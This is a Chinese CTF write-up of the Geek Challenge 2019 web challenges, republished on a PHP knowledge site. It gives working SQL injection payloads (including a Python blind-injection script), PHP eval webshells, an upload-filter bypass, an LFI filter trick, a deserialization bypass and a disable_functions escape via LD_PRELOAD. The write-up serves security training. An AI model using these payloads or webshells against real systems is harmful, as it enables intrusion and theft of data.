IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [极客大挑战 2019]题目总结 -> 正文阅读

[PHP知识库][极客大挑战 2019]题目总结

EasySQL-sql注入

打开后看到一个登陆框,然后题目名字叫easysql,所以怀疑就是使用万能密码登录

所以用户名我们写成admin' or 1=1#,密码随便填

这样和sql语句拼接后or保证该语句永远为真,#注释掉后面密码的正确性判断

得到flag:flag{9355cda8-5920-4e84-a7c0-05e575b60274}


Havefun-get请求

查看源码最后面部分

需要GET一个cat参数并且该参数需要是dog

那么请求/index.php?cat=dog,就可以看到flag:flag{ab2d6e52-965f-4ca3-899f-a538bdb6569e}


Secret File-本地文件读取

首先打开之后右键源代码,看到Archive_room.php

访问之后继续看源代码看到一个action.php

再访问action.php发现跳转到end.php,使用burp抓包看到返回一个secr3t.php

最后访问secr3t.php看到源码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

其中strstr和stristr函数用来判断该字符串是否存在后面这个字符,以及返回这个字符后面的所有内容

所以我们提交的内容不能包含这个几个过滤的字符

直接访问flag.php显示不了flag,所以使用php伪协议读flag.php内容

即:/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

将得到的内容使用base64解码得到flag{d7fc49dc-2562-41a8-8ae2-5c1d8866a172}


LoveSQL-基础sql注入

打开之后依旧登陆进去,发现url里面存在username参数和password参数

使用单引号测试发现报错,说明存在sql注入

使用order by判断存在3列:

union select看到2和3存在回显

查数据库名:/check.php?username=1' union select 1,2,database()%23&password=123为geek

查表名:/check.php?username=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=123返回geekuser和l0ve1ysq1

查第二个表的列名:/check.php?username=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')%23&password=123看到存在3列,id,username,password

查字段值:/check.php?username=1' union select 1,2,group_concat(username,0x3a,password) from geek.l0ve1ysq1%23&password=123看到其中flag用户的密码

flag:flag{0178cca7-467d-449c-8b46-963b80dac3a3}


Knife-一句话后门

看到页面上的一句话eval($_POST["Syc"]);,尝试用蚁剑连接,猜页面名为Knife.php,密码是Syc

连接上去在服务器根目录下找到flag:flag{496a054f-83e8-48d4-9042-8f5ff613cea1}


Http-header头

首先查看页面源代码,发现有一个Secret.php存在

访问后提示It doesn't come from 'https://www.Sycsecret.com'

在header头添加Referer: https://www.Sycsecret.com后又提示Please use "Syclover" browser

修改user-agent为User-Agent: Syclover后又提示No!!! you can only read this locally!!!

在header头又添加X-Forwarded-For: 127.0.0.1后得到flag{d3beeb47-38b6-4643-a794-ac74e726e99e}


Upload-文件上传

随便写个一句话a.php,内容为<?php @eval($_POST[x]);?>上传

提示Not image!

所以修改Content-Type为image/jpeg

再上传提示NOT!php!

所以fuzz一下常用文件后缀php,php3,php4,php5,phtml.pht,发现phtml没被拦截,所以修改filename="a.phtml"

再上传又提示NO!HACKER!your file included '<?'

所以替换一下一句话木马的内容为

GIF89a? <script language="php">eval($_REQUEST[1])</script>

再上传提示保存成a.phtml

最后使用蚁剑连接upload目录下的a.phtml,密码为1

在根目录下得到flag{58acce1e-6cc0-4d5b-bc3e-fb479a863edb}


PHP-反序列化

爆破备份文件,找到个www.zip

下载后查看index.php发现一个反序列化了一个select参数

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

然后在class.php看到类代码

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

发现username设置为admin,password设置为100可以在触发__destruct时显示flag

所以编写序列化构造方法

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>

得到序列化字符串为:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

问题来了,反序列化时会首先执行__wakeup()方法,但这个方法会把username重新赋值

所以需要跳过__wake方法,让传入的序列化字符串直接去执行__destruct方法

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

所以我们把属性个数由2改为3,即O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

又因为声明的变量时private,所以需要在类名和字段名前面都会加上\0的前缀,如果\0不方便提交的话也可以换成%00,即O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

请求/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}后即可得到flag{45953e5f-91d0-4f9b-9e10-bd836ca349a3}


BabySQL-双写绕过sql注入

这次过滤了select or and union from where,但是可以使用双写绕过

/check.php?username=admin' oorr 1=1%23&password=123

查数据库名:/check.php?username=1' ununionion seselectlect 1,2,database()%23&password=123为geek

查表名:/check.php?username=1' ununionion selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek')%23&password=123返回b4bsql和geekuser

查第二个表的列名:/check.php?username=1' uniunionon seselectlect 1,2,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns wwherehere table_name='b4bsql')%23&password=123看到存在3列,id,username,password

查字段值:/check.php?username=1' ununionion seleselectct 1,2,group_concat(username,0x3a,passwoorrd) frfromom geek.b4bsql%23&password=123看到其中flag用户的密码

flag:flag{e145a0be-3730-4bc5-bb97-54a6ceb6d0bf}


BuyFlag-字符串比较问题

打开页面在右上角看到PAYFLAG,打开之后在源代码看到password的判断

既不能是纯数字又要等于404,所以password我们传递为404a即可绕过==

使用burp抓包并POST传递该参数,看到提示Only Cuit's students can buy the FLAG

然后发现cookie里有个user=0,所以尝试改为user=1

再发送过去又提示Pay for the flag!!!hacker!!!,盲猜有个金额的参数

所以再POST一个money参数并写上足够的金额

但是又提示Nember lenth is too long,所以需要缩短金额的长度,又要足够支付的金额

法一:科学计数法money=1e9

法二:strcmp绕过方法money[]=10000000000

得到flag{2f4d2bca-4848-4020-ba0e-22ee88730f95}


HardSQL-报错注入

本题过滤了and、= 空格 union等多个sql关键字,考察updatexml、extractvalue等报错注入手段

括号绕过空格过滤,like绕过等号过滤

查数据库名:/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123,得到geek

查表名:/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123,得到H4rDsq1

查列名:/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123,得到id,username,password

爆字段值:/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=123,由于返回内容的长度限制,只得到一半flag{b5840555-cf80-46b4-bf

使用right语句查询另外一半:/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123,得到0-46b4-bf8b-da4555383f50}

根据重合部分拼到一起得到flag{b5840555-cf80-46b4-bf8b-da4555383f50}


FinalSQL-布尔盲注

根据页面提示猜测本题考查sql盲注

^表示异或,相同取0,不同取1

即:1^1^1=1,1^0^1=0

又因为该题中id传参为1时显示NO! Not this! Click others~~~,传参为0时显示Error!!!

由此控制中间这个变量的值,根据最后的真假结果,显示出不同的页面

如:/search.php?id=1^(ascii(substr((select(database())),1,1))<103)^1显示ERROR!!!,即数据库名第一个单词不小于103,访问/search.php?id=1^(ascii(substr((select(database())),1,1))<104)^1时却显示NO! Not this! Click others~~~,说明数据库名第一个单词小于104,由此断定数据库名第一个单词的ASCII码为103,字符也就是g

由此原理编写一个二分法的盲注脚本,参考自https://blog.csdn.net/weixin_42513429/article/details/105520763

import requests

host = "http://43457f1c-70c5-4cd5-9ad3-68b553b81e4e.node4.buuoj.cn/search.php?"

def getDatabase():  #获取数据库名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("database is -> "+ans)

def getTable(): #获取表名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("table is -> "+ans)

def getColumn(): #获取列名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("column is -> "+ans)

def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
            res = requests.get(url)
            if "others~~~" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)

dumpTable()

得到最终flag{e38737ba-cc7f-4393-be48-26c183eb1063}


RCE ME-远程命令执行

直接给出了后端的代码

<?PHP
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
        if(strlen($code)>40){
            die("This is too Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>

传入code参数,长度不超过40,不能包含字母和数字

考虑异或或者取反绕过,参考https://www.cnblogs.com/v01cano/p/11736722.html

尝试查看phpinfo

<?php
echo urlencode(~"phpinfo");//%8F%97%8F%96%91%99%90
?>

然后传参code进行代码执行,/index.php?code=(~%8F%97%8F%96%91%99%90)();,看到phpinfo()的执行结果,里面显示出多个disable_functions

?先尝试写一个执行一句话并用蚁剑连接

<?php 
echo urlencode(~'assert');//%9E%8C%8C%9A%8D%8B
echo "<br>";
echo urlencode(~'(eval($_POST[x]))');//%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%87%A2%D6%D6
?>

然后使用使用蚁剑连接地址为/index.php?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%87%A2%D6%D6);,密码为x

在服务器根目录看到两个文件flag和readflag

?需要执行readflag来读取flag文件,但是目前shell的权限太低执行不了命令

一种方法是使用蚁剑插件bypass-php-disable-function直接获取高权来执行

另一种是使用环境变量 LD_preload + mail劫持so来执行系统命令https://www.anquanke.com/post/id/175403

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD下载并上传bypass_disablefun_x64.so和bypass_disablefunc.php至/var/tmp目录

然后根据https://blog.csdn.net/mochu7777777/article/details/105136633给出的payload:/index.php?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so,访问后得到flag{7202312b-8a14-4972-9d09-7bed88e788c5}

分析payload:

来源是?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])

编码后是?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

<?php 
echo urldecode('%fe%fe%fe%fe')^urldecode('%a1%b9%bb%aa');//_GET
?>

然后将eval函数替换成我们要执行的shell.php并加上该文件所需要的参数,就得到最终的payload了

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2021-07-15 23:41:50  更:2021-07-15 23:41:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/8 1:26:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码